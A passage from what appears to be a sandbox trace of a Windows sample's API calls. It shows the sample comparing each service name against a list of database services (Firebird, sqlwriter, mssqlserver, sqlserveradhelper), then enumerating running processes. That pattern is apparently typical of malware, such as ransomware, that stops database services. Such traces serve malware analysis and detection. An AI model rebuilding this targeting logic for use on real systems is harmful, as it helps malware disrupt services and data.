lpString2="gpsvc") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.584] lstrlenW (lpString="iphlpsvc") returned 8 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.584] lstrlenW (lpString="KeyIso") returned 6 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0053.584] lstrlenW (lpString="LanmanServer") returned 12 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.584] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.584] lstrlenW (lpString="lfsvc") returned 5 [0053.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0053.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0053.585] lstrlenW (lpString="lmhosts") returned 7 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.585] lstrlenW (lpString="LSM") returned 3 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0053.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0053.585] lstrlenW (lpString="MpsSvc") returned 6 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.585] lstrlenW (lpString="NcbService") returned 10 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0053.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0053.585] lstrlenW (lpString="netprofm") returned 8 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.585] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.585] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.585] lstrlenW (lpString="NlaSvc") returned 6 [0053.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.586] lstrlenW (lpString="nsi") returned 3 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.586] lstrlenW (lpString="PcaSvc") returned 6 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.586] lstrlenW (lpString="PlugPlay") returned 8 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.586] lstrlenW (lpString="Power") returned 5 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.586] lstrlenW (lpString="ProfSvc") returned 7 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.586] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.586] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.587] lstrlenW (lpString="RpcSs") returned 5 [0053.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.587] lstrlenW (lpString="SamSs") returned 5 [0053.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.587] lstrlenW (lpString="Schedule") returned 8 [0053.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.623] lstrlenW (lpString="SecurityHealthService") returned 21 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0053.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0053.623] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0053.623] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0053.623] lstrlenW (lpString="SENS") returned 4 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.623] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.623] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.623] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.623] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.623] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.623] lstrlenW (lpString="Spooler") returned 7 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.623] lstrlenW (lpString="SSDPSRV") returned 7 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0053.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0053.623] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0053.623] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0053.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0053.623] lstrlenW (lpString="StateRepository") returned 15 [0053.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0053.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0053.624] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0053.624] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0053.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0053.624] lstrlenW (lpString="SysMain") returned 7 [0053.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.624] lstrlenW (lpString="SystemEventsBroker") returned 18 [0053.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0053.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0053.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0053.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0053.624] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0053.624] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0053.628] Process32FirstW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.629] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.630] lstrlenW (lpString="System") returned 6 [0053.630] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.630] lstrlenW (lpString="smss.exe") returned 8 [0053.630] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.631] lstrlenW (lpString="csrss.exe") returned 9 [0053.631] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.632] lstrlenW (lpString="wininit.exe") returned 11 [0053.632] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.632] lstrlenW (lpString="csrss.exe") returned 9 [0053.632] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.633] lstrlenW (lpString="winlogon.exe") returned 12 [0053.633] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.634] lstrlenW (lpString="services.exe") returned 12 [0053.634] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.635] lstrlenW (lpString="lsass.exe") returned 9 [0053.635] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.635] lstrlenW (lpString="svchost.exe") returned 11 [0053.635] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0053.636] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0053.636] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0053.637] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0053.637] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.638] lstrlenW (lpString="svchost.exe") returned 11 [0053.638] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.638] lstrlenW (lpString="dwm.exe") returned 7 [0053.638] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.639] lstrlenW (lpString="svchost.exe") returned 11 [0053.639] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.640] lstrlenW (lpString="svchost.exe") returned 11 [0053.640] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.640] lstrlenW (lpString="svchost.exe") returned 11 [0053.640] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.641] lstrlenW (lpString="svchost.exe") returned 11 [0053.641] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.642] lstrlenW (lpString="svchost.exe") returned 11 [0053.642] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.642] lstrlenW (lpString="svchost.exe") returned 11 [0053.643] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.643] lstrlenW (lpString="svchost.exe") returned 11 [0053.643] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.644] lstrlenW (lpString="svchost.exe") returned 11 [0053.644] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.644] lstrlenW (lpString="svchost.exe") returned 11 [0053.645] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.645] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.645] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.646] lstrlenW (lpString="svchost.exe") returned 11 [0053.646] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.646] lstrlenW (lpString="svchost.exe") returned 11 [0053.647] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.647] lstrlenW (lpString="audiodg.exe") returned 11 [0053.647] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0053.648] lstrlenW (lpString="sihost.exe") returned 10 [0053.648] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.649] lstrlenW (lpString="svchost.exe") returned 11 [0053.649] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0053.649] lstrlenW (lpString="taskhostw.exe") returned 13 [0053.649] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0053.650] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0053.650] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0053.651] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0053.651] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.652] lstrlenW (lpString="explorer.exe") returned 12 [0053.652] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0053.652] lstrlenW (lpString="Memory Compression") returned 18 [0053.652] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0053.653] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0053.653] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, 